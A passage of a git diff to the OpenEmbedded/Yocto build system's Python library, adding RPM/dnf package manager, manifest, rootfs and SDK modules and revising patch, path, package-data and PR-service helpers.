+ bad_recommendations = self.d.getVar('BAD_RECOMMENDATIONS')
+ package_exclude = self.d.getVar('PACKAGE_EXCLUDE')
+ exclude_pkgs = (bad_recommendations.split() if bad_recommendations else []) + (package_exclude.split() if package_exclude else [])
+
+ output = self._invoke_dnf((["--skip-broken"] if attempt_only else []) +
+ (["-x", ",".join(exclude_pkgs)] if len(exclude_pkgs) > 0 else []) +
+ (["--setopt=install_weak_deps=False"] if self.d.getVar('NO_RECOMMENDATIONS') == "1" else []) +
+ (["--nogpgcheck"] if self.d.getVar('RPM_SIGN_PACKAGES') != '1' else ["--setopt=gpgcheck=True"]) +
+ ["install"] +
+ pkgs)
+
+ failed_scriptlets_pkgnames = collections.OrderedDict()
+ for line in output.splitlines():
+ if line.startswith("Error: Systemctl"):
+ bb.error(line)
+
+ if line.startswith("Error in POSTIN scriptlet in rpm package"):
+ failed_scriptlets_pkgnames[line.split()[-1]] = True
+
+ if len(failed_scriptlets_pkgnames) > 0:
+ failed_postinsts_abort(list(failed_scriptlets_pkgnames.keys()), self.d.expand("${T}/log.do_${BB_CURRENTTASK}"))
+
+ def remove(self, pkgs, with_dependencies = True):
+ if not pkgs:
+ return
+
+ self._prepare_pkg_transaction()
+
+ if with_dependencies:
+ self._invoke_dnf(["remove"] + pkgs)
+ else:
+ cmd = bb.utils.which(os.getenv('PATH'), "rpm")
+ args = ["-e", "-v", "--nodeps", "--root=%s" %self.target_rootfs]
+
+ try:
+ bb.note("Running %s" % ' '.join([cmd] + args + pkgs))
+ output = subprocess.check_output([cmd] + args + pkgs, stderr=subprocess.STDOUT).decode("utf-8")
+ bb.note(output)
+ except subprocess.CalledProcessError as e:
+ bb.fatal("Could not invoke rpm. Command "
+ "'%s' returned %d:\n%s" % (' '.join([cmd] + args + pkgs), e.returncode, e.output.decode("utf-8")))
+
+ def upgrade(self):
+ self._prepare_pkg_transaction()
+ self._invoke_dnf(["upgrade"])
+
+ def autoremove(self):
+ self._prepare_pkg_transaction()
+ self._invoke_dnf(["autoremove"])
+
+ def remove_packaging_data(self):
+ self._invoke_dnf(["clean", "all"])
+ for dir in self.packaging_data_dirs:
+ bb.utils.remove(oe.path.join(self.target_rootfs, dir), True)
+
+ def backup_packaging_data(self):
+ # Save the packaging dirs for increment rpm image generation
+ if os.path.exists(self.saved_packaging_data):
+ bb.utils.remove(self.saved_packaging_data, True)
+ for i in self.packaging_data_dirs:
+ source_dir = oe.path.join(self.target_rootfs, i)
+ target_dir = oe.path.join(self.saved_packaging_data, i)
+ if os.path.isdir(source_dir):
+ shutil.copytree(source_dir, target_dir, symlinks=True)
+ elif os.path.isfile(source_dir):
+ shutil.copy2(source_dir, target_dir)
+
+ def recovery_packaging_data(self):
+ # Move the rpmlib back
+ if os.path.exists(self.saved_packaging_data):
+ for i in self.packaging_data_dirs:
+ target_dir = oe.path.join(self.target_rootfs, i)
+ if os.path.exists(target_dir):
+ bb.utils.remove(target_dir, True)
+ source_dir = oe.path.join(self.saved_packaging_data, i)
+ if os.path.isdir(source_dir):
+ shutil.copytree(source_dir, target_dir, symlinks=True)
+ elif os.path.isfile(source_dir):
+ shutil.copy2(source_dir, target_dir)
+
+ def list_installed(self):
+ output = self._invoke_dnf(["repoquery", "--installed", "--queryformat", "Package: %{name} %{arch} %{version} %{name}-%{version}-%{release}.%{arch}.rpm\nDependencies:\n%{requires}\nRecommendations:\n%{recommends}\nDependenciesEndHere:\n"],
+ print_output = False)
+ packages = {}
+ current_package = None
+ current_deps = None
+ current_state = "initial"
+ for line in output.splitlines():
+ if line.startswith("Package:"):
+ package_info = line.split(" ")[1:]
+ current_package = package_info[0]
+ package_arch = package_info[1]
+ package_version = package_info[2]
+ package_rpm = package_info[3]
+ packages[current_package] = {"arch":package_arch, "ver":package_version, "filename":package_rpm}
+ current_deps = []
+ elif line.startswith("Dependencies:"):
+ current_state = "dependencies"
+ elif line.startswith("Recommendations"):
+ current_state = "recommendations"
+ elif line.startswith("DependenciesEndHere:"):
+ current_state = "initial"
+ packages[current_package]["deps"] = current_deps
+ elif len(line) > 0:
+ if current_state == "dependencies":
+ current_deps.append(line)
+ elif current_state == "recommendations":
+ current_deps.append("%s [REC]" % line)
+
+ return packages
+
+ def update(self):
+ self._invoke_dnf(["makecache", "--refresh"])
+
+ def _invoke_dnf(self, dnf_args, fatal = True, print_output = True ):
+ os.environ['RPM_ETCCONFIGDIR'] = self.target_rootfs
+
+ dnf_cmd = bb.utils.which(os.getenv('PATH'), "dnf")
+ standard_dnf_args = ["-v", "--rpmverbosity=info", "-y",
+ "-c", oe.path.join(self.target_rootfs, "etc/dnf/dnf.conf"),
+ "--setopt=reposdir=%s" %(oe.path.join(self.target_rootfs, "etc/yum.repos.d")),
+ "--installroot=%s" % (self.target_rootfs),
+ "--setopt=logdir=%s" % (self.d.getVar('T'))
+ ]
+ if hasattr(self, "rpm_repo_dir"):
+ standard_dnf_args.append("--repofrompath=oe-repo,%s" % (self.rpm_repo_dir))
+ cmd = [dnf_cmd] + standard_dnf_args + dnf_args
+ bb.note('Running %s' % ' '.join(cmd))
+ try:
+ output = subprocess.check_output(cmd,stderr=subprocess.STDOUT).decode("utf-8")
+ if print_output:
+ bb.debug(1, output)
+ return output
+ except subprocess.CalledProcessError as e:
+ if print_output:
+ (bb.note, bb.fatal)[fatal]("Could not invoke dnf. Command "
+ "'%s' returned %d:\n%s" % (' '.join(cmd), e.returncode, e.output.decode("utf-8")))
+ else:
+ (bb.note, bb.fatal)[fatal]("Could not invoke dnf. Command "
+ "'%s' returned %d:" % (' '.join(cmd), e.returncode))
+ return e.output.decode("utf-8")
+
+ def dump_install_solution(self, pkgs):
+ open(self.solution_manifest, 'w').write(" ".join(pkgs))
+ return pkgs
+
+ def load_old_install_solution(self):
+ if not os.path.exists(self.solution_manifest):
+ return []
+ with open(self.solution_manifest, 'r') as fd:
+ return fd.read().split()
+
+ def _script_num_prefix(self, path):
+ files = os.listdir(path)
+ numbers = set()
+ numbers.add(99)
+ for f in files:
+ numbers.add(int(f.split("-")[0]))
+ return max(numbers) + 1
+
+ def save_rpmpostinst(self, pkg):
+ bb.note("Saving postinstall script of %s" % (pkg))
+ cmd = bb.utils.which(os.getenv('PATH'), "rpm")
+ args = ["-q", "--root=%s" % self.target_rootfs, "--queryformat", "%{postin}", pkg]
+
+ try:
+ output = subprocess.check_output([cmd] + args,stderr=subprocess.STDOUT).decode("utf-8")
+ except subprocess.CalledProcessError as e:
+ bb.fatal("Could not invoke rpm. Command "
+ "'%s' returned %d:\n%s" % (' '.join([cmd] + args), e.returncode, e.output.decode("utf-8")))
+
+ # may need to prepend #!/bin/sh to output
+
+ target_path = oe.path.join(self.target_rootfs, self.d.expand('${sysconfdir}/rpm-postinsts/'))
+ bb.utils.mkdirhier(target_path)
+ num = self._script_num_prefix(target_path)
+ saved_script_name = oe.path.join(target_path, "%d-%s" % (num, pkg))
+ open(saved_script_name, 'w').write(output)
+ os.chmod(saved_script_name, 0o755)
+
+ def _handle_intercept_failure(self, registered_pkgs):
+ rpm_postinsts_dir = self.target_rootfs + self.d.expand('${sysconfdir}/rpm-postinsts/')
+ bb.utils.mkdirhier(rpm_postinsts_dir)
+
+ # Save the package postinstalls in /etc/rpm-postinsts
+ for pkg in registered_pkgs.split():
+ self.save_rpmpostinst(pkg)
+
+ def extract(self, pkg):
+ output = self._invoke_dnf(["repoquery", "--queryformat", "%{location}", pkg])
+ pkg_name = output.splitlines()[-1]
+ if not pkg_name.endswith(".rpm"):
+ bb.fatal("dnf could not find package %s in repository: %s" %(pkg, output))
+ pkg_path = oe.path.join(self.rpm_repo_dir, pkg_name)
+
+ cpio_cmd = bb.utils.which(os.getenv("PATH"), "cpio")
+ rpm2cpio_cmd = bb.utils.which(os.getenv("PATH"), "rpm2cpio")
+
+ if not os.path.isfile(pkg_path):
+ bb.fatal("Unable to extract package for '%s'."
+ "File %s doesn't exists" % (pkg, pkg_path))
+
+ tmp_dir = tempfile.mkdtemp()
+ current_dir = os.getcwd()
+ os.chdir(tmp_dir)
+
+ try:
+ cmd = "%s %s | %s -idmv" % (rpm2cpio_cmd, pkg_path, cpio_cmd)
+ output = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)
+ except subprocess.CalledProcessError as e:
+ bb.utils.remove(tmp_dir, recurse=True)
+ bb.fatal("Unable to extract %s package. Command '%s' "
+ "returned %d:\n%s" % (pkg_path, cmd, e.returncode, e.output.decode("utf-8")))
+ except OSError as e:
+ bb.utils.remove(tmp_dir, recurse=True)
+ bb.fatal("Unable to extract %s package. Command '%s' "
+ "returned %d:\n%s at %s" % (pkg_path, cmd, e.errno, e.strerror, e.filename))
+
+ bb.note("Extracted %s to %s" % (pkg_path, tmp_dir))
+ os.chdir(current_dir)
+
+ return tmp_dir
diff --git a/meta/lib/oe/package_manager/rpm/manifest.py b/meta/lib/oe/package_manager/rpm/manifest.py
new file mode 100644
index 0000000000..e6604b301f
--- /dev/null
+++ b/meta/lib/oe/package_manager/rpm/manifest.py
@@ -0,0 +1,54 @@
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+from oe.manifest import Manifest
+
+class PkgManifest(Manifest):
+ """
+ Returns a dictionary object with mip and mlp packages.
+ """
+ def _split_multilib(self, pkg_list):
+ pkgs = dict()
+
+ for pkg in pkg_list.split():
+ pkg_type = self.PKG_TYPE_MUST_INSTALL
+
+ ml_variants = self.d.getVar('MULTILIB_VARIANTS').split()
+
+ for ml_variant in ml_variants:
+ if pkg.startswith(ml_variant + '-'):
+ pkg_type = self.PKG_TYPE_MULTILIB
+
+ if not pkg_type in pkgs:
+ pkgs[pkg_type] = pkg
+ else:
+ pkgs[pkg_type] += " " + pkg
+
+ return pkgs
+
+ def create_initial(self):
+ pkgs = dict()
+
+ with open(self.initial_manifest, "w+") as manifest:
+ manifest.write(self.initial_manifest_file_header)
+
+ for var in self.var_maps[self.manifest_type]:
+ if var in self.vars_to_split:
+ split_pkgs = self._split_multilib(self.d.getVar(var))
+ if split_pkgs is not None:
+ pkgs = dict(list(pkgs.items()) + list(split_pkgs.items()))
+ else:
+ pkg_list = self.d.getVar(var)
+ if pkg_list is not None:
+ pkgs[self.var_maps[self.manifest_type][var]] = self.d.getVar(var)
+
+ for pkg_type in pkgs:
+ for pkg in pkgs[pkg_type].split():
+ manifest.write("%s,%s\n" % (pkg_type, pkg))
+
+ def create_final(self):
+ pass
+
+ def create_full(self, pm):
+ pass
diff --git a/meta/lib/oe/package_manager/rpm/rootfs.py b/meta/lib/oe/package_manager/rpm/rootfs.py
new file mode 100644
index 0000000000..00d07cd9cc
--- /dev/null
+++ b/meta/lib/oe/package_manager/rpm/rootfs.py
@@ -0,0 +1,148 @@
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+from oe.rootfs import Rootfs
+from oe.manifest import Manifest
+from oe.utils import execute_pre_post_process
+from oe.package_manager.rpm.manifest import PkgManifest
+from oe.package_manager.rpm import RpmPM
+
+class PkgRootfs(Rootfs):
+ def __init__(self, d, manifest_dir, progress_reporter=None, logcatcher=None):
+ super(PkgRootfs, self).__init__(d, progress_reporter, logcatcher)
+ self.log_check_regex = r'(unpacking of archive failed|Cannot find package'\
+ r'|exit 1|ERROR: |Error: |Error |ERROR '\
+ r'|Failed |Failed: |Failed$|Failed\(\d+\):)'
+
+ self.manifest = PkgManifest(d, manifest_dir)
+
+ self.pm = RpmPM(d,
+ d.getVar('IMAGE_ROOTFS'),
+ self.d.getVar('TARGET_VENDOR')
+ )
+
+ self.inc_rpm_image_gen = self.d.getVar('INC_RPM_IMAGE_GEN')
+ if self.inc_rpm_image_gen != "1":
+ bb.utils.remove(self.image_rootfs, True)
+ else:
+ self.pm.recovery_packaging_data()
+ bb.utils.remove(self.d.getVar('MULTILIB_TEMP_ROOTFS'), True)
+
+ self.pm.create_configs()
+
+ '''
+ While rpm incremental image generation is enabled, it will remove the
+ unneeded pkgs by comparing the new install solution manifest and the
+ old installed manifest.
+ '''
+ def _create_incremental(self, pkgs_initial_install):
+ if self.inc_rpm_image_gen == "1":
+
+ pkgs_to_install = list()
+ for pkg_type in pkgs_initial_install:
+ pkgs_to_install += pkgs_initial_install[pkg_type]
+
+ installed_manifest = self.pm.load_old_install_solution()
+ solution_manifest = self.pm.dump_install_solution(pkgs_to_install)
+
+ pkg_to_remove = list()
+ for pkg in installed_manifest:
+ if pkg not in solution_manifest:
+ pkg_to_remove.append(pkg)
+
+ self.pm.update()
+
+ bb.note('incremental update -- upgrade packages in place ')
+ self.pm.upgrade()
+ if pkg_to_remove != []:
+ bb.note('incremental removed: %s' % ' '.join(pkg_to_remove))
+ self.pm.remove(pkg_to_remove)
+
+ self.pm.autoremove()
+
+ def _create(self):
+ pkgs_to_install = self.manifest.parse_initial_manifest()
+ rpm_pre_process_cmds = self.d.getVar('RPM_PREPROCESS_COMMANDS')
+ rpm_post_process_cmds = self.d.getVar('RPM_POSTPROCESS_COMMANDS')
+
+ # update PM index files
+ self.pm.write_index()
+
+ execute_pre_post_process(self.d, rpm_pre_process_cmds)
+
+ if self.progress_reporter:
+ self.progress_reporter.next_stage()
+
+ if self.inc_rpm_image_gen == "1":
+ self._create_incremental(pkgs_to_install)
+
+ if self.progress_reporter:
+ self.progress_reporter.next_stage()
+
+ self.pm.update()
+
+ pkgs = []
+ pkgs_attempt = []
+ for pkg_type in pkgs_to_install:
+ if pkg_type == Manifest.PKG_TYPE_ATTEMPT_ONLY:
+ pkgs_attempt += pkgs_to_install[pkg_type]
+ else:
+ pkgs += pkgs_to_install[pkg_type]
+
+ if self.progress_reporter:
+ self.progress_reporter.next_stage()
+
+ self.pm.install(pkgs)
+
+ if self.progress_reporter:
+ self.progress_reporter.next_stage()
+
+ self.pm.install(pkgs_attempt, True)
+
+ if self.progress_reporter:
+ self.progress_reporter.next_stage()
+
+ self.pm.install_complementary()
+
+ if self.progress_reporter:
+ self.progress_reporter.next_stage()
+
+ self._setup_dbg_rootfs(['/etc', '/var/lib/rpm', '/var/cache/dnf', '/var/lib/dnf'])
+
+ execute_pre_post_process(self.d, rpm_post_process_cmds)
+
+ if self.inc_rpm_image_gen == "1":
+ self.pm.backup_packaging_data()
+
+ if self.progress_reporter:
+ self.progress_reporter.next_stage()
+
+
+ @staticmethod
+ def _depends_list():
+ return ['DEPLOY_DIR_RPM', 'INC_RPM_IMAGE_GEN', 'RPM_PREPROCESS_COMMANDS',
+ 'RPM_POSTPROCESS_COMMANDS', 'RPM_PREFER_ELF_ARCH']
+
+ def _get_delayed_postinsts(self):
+ postinst_dir = self.d.expand("${IMAGE_ROOTFS}${sysconfdir}/rpm-postinsts")
+ if os.path.isdir(postinst_dir):
+ files = os.listdir(postinst_dir)
+ for f in files:
+ bb.note('Delayed package scriptlet: %s' % f)
+ return files
+
+ return None
+
+ def _save_postinsts(self):
+ # this is just a stub. For RPM, the failed postinstalls are
+ # already saved in /etc/rpm-postinsts
+ pass
+
+ def _log_check(self):
+ self._log_check_warn()
+ self._log_check_error()
+
+ def _cleanup(self):
+ if bb.utils.contains("IMAGE_FEATURES", "package-management", True, False, self.d):
+ self.pm._invoke_dnf(["clean", "all"])
diff --git a/meta/lib/oe/package_manager/rpm/sdk.py b/meta/lib/oe/package_manager/rpm/sdk.py
new file mode 100644
index 0000000000..c5f232431f
--- /dev/null
+++ b/meta/lib/oe/package_manager/rpm/sdk.py
@@ -0,0 +1,114 @@
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import glob
+from oe.utils import execute_pre_post_process
+from oe.sdk import Sdk
+from oe.manifest import Manifest
+from oe.package_manager.rpm.manifest import PkgManifest
+from oe.package_manager.rpm import RpmPM
+
+class PkgSdk(Sdk):
+ def __init__(self, d, manifest_dir=None, rpm_workdir="oe-sdk-repo"):
+ super(PkgSdk, self).__init__(d, manifest_dir)
+
+ self.target_manifest = PkgManifest(d, self.manifest_dir,
+ Manifest.MANIFEST_TYPE_SDK_TARGET)
+ self.host_manifest = PkgManifest(d, self.manifest_dir,
+ Manifest.MANIFEST_TYPE_SDK_HOST)
+
+ rpm_repo_workdir = "oe-sdk-repo"
+ if "sdk_ext" in d.getVar("BB_RUNTASK"):
+ rpm_repo_workdir = "oe-sdk-ext-repo"
+
+ self.target_pm = RpmPM(d,
+ self.sdk_target_sysroot,
+ self.d.getVar('TARGET_VENDOR'),
+ 'target',
+ rpm_repo_workdir=rpm_repo_workdir
+ )
+
+ self.host_pm = RpmPM(d,
+ self.sdk_host_sysroot,
+ self.d.getVar('SDK_VENDOR'),
+ 'host',
+ "SDK_PACKAGE_ARCHS",
+ "SDK_OS",
+ rpm_repo_workdir=rpm_repo_workdir
+ )
+
+ def _populate_sysroot(self, pm, manifest):
+ pkgs_to_install = manifest.parse_initial_manifest()
+
+ pm.create_configs()
+ pm.write_index()
+ pm.update()
+
+ pkgs = []
+ pkgs_attempt = []
+ for pkg_type in pkgs_to_install:
+ if pkg_type == Manifest.PKG_TYPE_ATTEMPT_ONLY:
+ pkgs_attempt += pkgs_to_install[pkg_type]
+ else:
+ pkgs += pkgs_to_install[pkg_type]
+
+ pm.install(pkgs)
+
+ pm.install(pkgs_attempt, True)
+
+ def _populate(self):
+ execute_pre_post_process(self.d, self.d.getVar("POPULATE_SDK_PRE_TARGET_COMMAND"))
+
+ bb.note("Installing TARGET packages")
+ self._populate_sysroot(self.target_pm, self.target_manifest)
+
+ self.target_pm.install_complementary(self.d.getVar('SDKIMAGE_INSTALL_COMPLEMENTARY'))
+
+ self.target_pm.run_intercepts(populate_sdk='target')
+
+ execute_pre_post_process(self.d, self.d.getVar("POPULATE_SDK_POST_TARGET_COMMAND"))
+
+ if not bb.utils.contains("SDKIMAGE_FEATURES", "package-management", True, False, self.d):
+ self.target_pm.remove_packaging_data()
+
+ bb.note("Installing NATIVESDK packages")
+ self._populate_sysroot(self.host_pm, self.host_manifest)
+ self.install_locales(self.host_pm)
+
+ self.host_pm.run_intercepts(populate_sdk='host')
+
+ execute_pre_post_process(self.d, self.d.getVar("POPULATE_SDK_POST_HOST_COMMAND"))
+
+ if not bb.utils.contains("SDKIMAGE_FEATURES", "package-management", True, False, self.d):
+ self.host_pm.remove_packaging_data()
+
+ # Move host RPM library data
+ native_rpm_state_dir = os.path.join(self.sdk_output,
+ self.sdk_native_path,
+ self.d.getVar('localstatedir_nativesdk').strip('/'),
+ "lib",
+ "rpm"
+ )
+ self.mkdirhier(native_rpm_state_dir)
+ for f in glob.glob(os.path.join(self.sdk_output,
+ "var",
+ "lib",
+ "rpm",
+ "*")):
+ self.movefile(f, native_rpm_state_dir)
+
+ self.remove(os.path.join(self.sdk_output, "var"), True)
+
+ # Move host sysconfig data
+ native_sysconf_dir = os.path.join(self.sdk_output,
+ self.sdk_native_path,
+ self.d.getVar('sysconfdir',
+ True).strip('/'),
+ )
+ self.mkdirhier(native_sysconf_dir)
+ for f in glob.glob(os.path.join(self.sdk_output, "etc", "rpm*")):
+ self.movefile(f, native_sysconf_dir)
+ for f in glob.glob(os.path.join(self.sdk_output, "etc", "dnf", "*")):
+ self.movefile(f, native_sysconf_dir)
+ self.remove(os.path.join(self.sdk_output, "etc"), True)
diff --git a/meta/lib/oe/packagedata.py b/meta/lib/oe/packagedata.py
index a82085a792..212f048bc6 100644
--- a/meta/lib/oe/packagedata.py
+++ b/meta/lib/oe/packagedata.py
@@ -19,7 +19,7 @@ def read_pkgdatafile(fn):
import re
with open(fn, 'r') as f:
lines = f.readlines()
- r = re.compile("([^:]+):\s*(.*)")
+ r = re.compile(r"(^.+?):\s+(.*)")
for l in lines:
m = r.match(l)
if m:
@@ -45,18 +45,30 @@ def read_pkgdata(pn, d):
return read_pkgdatafile(fn)
#
-# Collapse FOO_pkg variables into FOO
+# Collapse FOO:pkg variables into FOO
#
def read_subpkgdata_dict(pkg, d):
ret = {}
subd = read_pkgdatafile(get_subpkgedata_fn(pkg, d))
for var in subd:
- newvar = var.replace("_" + pkg, "")
- if newvar == var and var + "_" + pkg in subd:
+ newvar = var.replace(":" + pkg, "")
+ if newvar == var and var + ":" + pkg in subd:
continue
ret[newvar] = subd[var]
return ret
+def read_subpkgdata_extended(pkg, d):
+ import json
+ import bb.compress.zstd
+
+ fn = d.expand("${PKGDATA_DIR}/extended/%s.json.zstd" % pkg)
+ try:
+ num_threads = int(d.getVar("BB_NUMBER_THREADS"))
+ with bb.compress.zstd.open(fn, "rt", encoding="utf-8", num_threads=num_threads) as f:
+ return json.load(f)
+ except FileNotFoundError:
+ return None
+
def _pkgmap(d):
"""Return a dictionary mapping package to recipe name."""
diff --git a/meta/lib/oe/packagegroup.py b/meta/lib/oe/packagegroup.py
index 2419cbb6d3..8fcaecde82 100644
--- a/meta/lib/oe/packagegroup.py
+++ b/meta/lib/oe/packagegroup.py
@@ -5,17 +5,11 @@
import itertools
def is_optional(feature, d):
- packages = d.getVar("FEATURE_PACKAGES_%s" % feature)
- if packages:
- return bool(d.getVarFlag("FEATURE_PACKAGES_%s" % feature, "optional"))
- else:
- return bool(d.getVarFlag("PACKAGE_GROUP_%s" % feature, "optional"))
+ return bool(d.getVarFlag("FEATURE_PACKAGES_%s" % feature, "optional"))
def packages(features, d):
for feature in features:
packages = d.getVar("FEATURE_PACKAGES_%s" % feature)
- if not packages:
- packages = d.getVar("PACKAGE_GROUP_%s" % feature)
for pkg in (packages or "").split():
yield pkg
diff --git a/meta/lib/oe/patch.py b/meta/lib/oe/patch.py
index 2b1eee1003..9034fcae03 100644
--- a/meta/lib/oe/patch.py
+++ b/meta/lib/oe/patch.py
@@ -4,6 +4,7 @@
import oe.path
import oe.types
+import subprocess
class NotFoundError(bb.BBHandledException):
def __init__(self, path):
@@ -25,7 +26,6 @@ class CmdError(bb.BBHandledException):
def runcmd(args, dir = None):
import pipes
- import subprocess
if dir:
olddir = os.path.abspath(os.curdir)
@@ -38,20 +38,25 @@ def runcmd(args, dir = None):
args = [ pipes.quote(str(arg)) for arg in args ]
cmd = " ".join(args)
# print("cmd: %s" % cmd)
- (exitstatus, output) = subprocess.getstatusoutput(cmd)
+ proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
+ stdout, stderr = proc.communicate()
+ stdout = stdout.decode('utf-8')
+ stderr = stderr.decode('utf-8')
+ exitstatus = proc.returncode
if exitstatus != 0:
- raise CmdError(cmd, exitstatus >> 8, output)
- if " fuzz " in output:
+ raise CmdError(cmd, exitstatus >> 8, "stdout: %s\nstderr: %s" % (stdout, stderr))
+ if " fuzz " in stdout and "Hunk " in stdout:
# Drop patch fuzz info with header and footer to log file so
# insane.bbclass can handle to throw error/warning
- bb.note("--- Patch fuzz start ---\n%s\n--- Patch fuzz end ---" % format(output))
+ bb.note("--- Patch fuzz start ---\n%s\n--- Patch fuzz end ---" % format(stdout))
- return output
+ return stdout
finally:
if dir:
os.chdir(olddir)
+
class PatchError(Exception):
def __init__(self, msg):
self.msg = msg
@@ -294,6 +299,24 @@ class GitApplyTree(PatchTree):
PatchTree.__init__(self, dir, d)
self.commituser = d.getVar('PATCH_GIT_USER_NAME')
self.commitemail = d.getVar('PATCH_GIT_USER_EMAIL')
+ if not self._isInitialized():
+ self._initRepo()
+
+ def _isInitialized(self):
+ cmd = "git rev-parse --show-toplevel"
+ try:
+ output = runcmd(cmd.split(), self.dir).strip()
+ except CmdError as err:
+ ## runcmd returned non-zero which most likely means 128
+ ## Not a git directory
+ return False
+ ## Make sure repo is in builddir to not break top-level git repos
+ return os.path.samefile(output, self.dir)
+
+ def _initRepo(self):
+ runcmd("git init".split(), self.dir)
+ runcmd("git add .".split(), self.dir)
+ runcmd("git commit -a --allow-empty -m bitbake_patching_started".split(), self.dir)
@staticmethod
def extractPatchHeader(patchfile):
@@ -416,7 +439,7 @@ class GitApplyTree(PatchTree):
date = newdate
if not subject:
subject = newsubject
- if subject and outlines and not outlines[0].strip() == subject:
+ if subject and not (outlines and outlines[0].strip() == subject):
outlines.insert(0, '%s\n\n' % subject.strip())
# Write out commit message to a file
@@ -439,7 +462,6 @@ class GitApplyTree(PatchTree):
def extractPatches(tree, startcommit, outdir, paths=None):
import tempfile
import shutil
- import re
tempdir = tempfile.mkdtemp(prefix='oepatch')
try:
shellcmd = ["git", "format-patch", "--no-signature", "--no-numbered", startcommit, "-o", tempdir]
@@ -455,13 +477,10 @@ class GitApplyTree(PatchTree):
try:
with open(srcfile, 'r', encoding=encoding) as f:
for line in f:
- checkline = line
- if checkline.startswith('Subject: '):
- checkline = re.sub(r'\[.+?\]\s*', '', checkline[9:])
- if checkline.startswith(GitApplyTree.patch_line_prefix):
+ if line.startswith(GitApplyTree.patch_line_prefix):
outfile = line.split()[-1].strip()
continue
- if checkline.startswith(GitApplyTree.ignore_commit_prefix):
+ if line.startswith(GitApplyTree.ignore_commit_prefix):
continue
patchlines.append(line)
except UnicodeDecodeError:
@@ -508,8 +527,7 @@ class GitApplyTree(PatchTree):
with open(commithook, 'w') as f:
# NOTE: the formatting here is significant; if you change it you'll also need to
# change other places which read it back
- f.write('echo >> $1\n')
- f.write('echo "%s: $PATCHFILE" >> $1\n' % GitApplyTree.patch_line_prefix)
+ f.write('echo "\n%s: $PATCHFILE" >> $1' % GitApplyTree.patch_line_prefix)
os.chmod(commithook, 0o755)
shutil.copy2(commithook, applyhook)
try:
@@ -517,7 +535,7 @@ class GitApplyTree(PatchTree):
try:
shellcmd = [patchfilevar, "git", "--work-tree=%s" % reporoot]
self.gitCommandUserOptions(shellcmd, self.commituser, self.commitemail)
- shellcmd += ["am", "-3", "--keep-cr", "-p%s" % patch['strippath']]
+ shellcmd += ["am", "-3", "--keep-cr", "--no-scissors", "-p%s" % patch['strippath']]
return _applypatchhelper(shellcmd, patch, force, reverse, run)
except CmdError:
# Need to abort the git am, or we'll still be within it at the end
diff --git a/meta/lib/oe/path.py b/meta/lib/oe/path.py
index fa209b9795..c8d8ad05b9 100644
--- a/meta/lib/oe/path.py
+++ b/meta/lib/oe/path.py
@@ -99,7 +99,22 @@ def copyhardlinktree(src, dst):
if os.path.isdir(src) and not len(os.listdir(src)):
return
- if (os.stat(src).st_dev == os.stat(dst).st_dev):
+ canhard = False
+ testfile = None
+ for root, dirs, files in os.walk(src):
+ if len(files):
+ testfile = os.path.join(root, files[0])
+ break
+
+ if testfile is not None:
+ try:
+ os.link(testfile, os.path.join(dst, 'testfile'))
+ os.unlink(os.path.join(dst, 'testfile'))
+ canhard = True
+ except Exception as e:
+ bb.debug(2, "Hardlink test failed with " + str(e))
+
+ if (canhard):
# Need to copy directories only with tar first since cp will error if two
# writers try and create a directory at the same time
cmd = "cd %s; find . -type d -print | tar --xattrs --xattrs-include='*' -cf - -S -C %s -p --no-recursion --files-from - | tar --xattrs --xattrs-include='*' -xhf - -C %s" % (src, src, dst)
@@ -121,12 +136,9 @@ def copyhardlinktree(src, dst):
def copyhardlink(src, dst):
"""Make a hard link when possible, otherwise copy."""
- # We need to stat the destination directory as the destination file probably
- # doesn't exist yet.
- dstdir = os.path.dirname(dst)
- if os.stat(src).st_dev == os.stat(dstdir).st_dev:
+ try:
os.link(src, dst)
- else:
+ except OSError:
shutil.copy(src, dst)
def remove(path, recurse=True):
@@ -308,3 +320,24 @@ def which_wild(pathname, path=None, mode=os.F_OK, *, reverse=False, candidates=F
return files
+def canonicalize(paths, sep=','):
+ """Given a string with paths (separated by commas by default), expand
+ each path using os.path.realpath() and return the resulting paths as a
+ string (separated using the same separator a the original string).
+ """
+ # Ignore paths containing "$" as they are assumed to be unexpanded bitbake
+ # variables. Normally they would be ignored, e.g., when passing the paths
+ # through the shell they would expand to empty strings. However, when they
+ # are passed through os.path.realpath(), it will cause them to be prefixed
+ # with the absolute path to the current directory and thus not be empty
+ # anymore.
+ #
+ # Also maintain trailing slashes, as the paths may actually be used as
+ # prefixes in sting compares later on, where the slashes then are important.
+ canonical_paths = []
+ for path in (paths or '').split(sep):
+ if '$' not in path:
+ trailing_slash = path.endswith('/') and '/' or ''
+ canonical_paths.append(os.path.realpath(path) + trailing_slash)
+
+ return sep.join(canonical_paths)
diff --git a/meta/lib/oe/prservice.py b/meta/lib/oe/prservice.py
index b1132ccb11..339f7aebca 100644
--- a/meta/lib/oe/prservice.py
+++ b/meta/lib/oe/prservice.py
@@ -7,11 +7,10 @@ def prserv_make_conn(d, check = False):
host_params = list([_f for _f in (d.getVar("PRSERV_HOST") or '').split(':') if _f])
try:
conn = None
- conn = prserv.serv.PRServerConnection(host_params[0], int(host_params[1]))
+ conn = prserv.serv.connect(host_params[0], int(host_params[1]))
if check:
if not conn.ping():
raise Exception('service not available')
- d.setVar("__PRSERV_CONN",conn)
except Exception as exc:
bb.fatal("Connecting to PR service %s:%s failed: %s" % (host_params[0], host_params[1], str(exc)))
@@ -22,31 +21,29 @@ def prserv_dump_db(d):
bb.error("Not using network based PR service")
return None
- conn = d.getVar("__PRSERV_CONN")
+ conn = prserv_make_conn(d)
if conn is None:
- conn = prserv_make_conn(d)
- if conn is None:
- bb.error("Making connection failed to remote PR service")
- return None
+ bb.error("Making connection failed to remote PR service")
+ return None
#dump db
opt_version = d.getVar('PRSERV_DUMPOPT_VERSION')
opt_pkgarch = d.getVar('PRSERV_DUMPOPT_PKGARCH')
opt_checksum = d.getVar('PRSERV_DUMPOPT_CHECKSUM')
opt_col = ("1" == d.getVar('PRSERV_DUMPOPT_COL'))
- return conn.export(opt_version, opt_pkgarch, opt_checksum, opt_col)
+ d = conn.export(opt_version, opt_pkgarch, opt_checksum, opt_col)
+ conn.close()
+ return d
def prserv_import_db(d, filter_version=None, filter_pkgarch=None, filter_checksum=None):
if not d.getVar('PRSERV_HOST'):
bb.error("Not using network based PR service")
return None
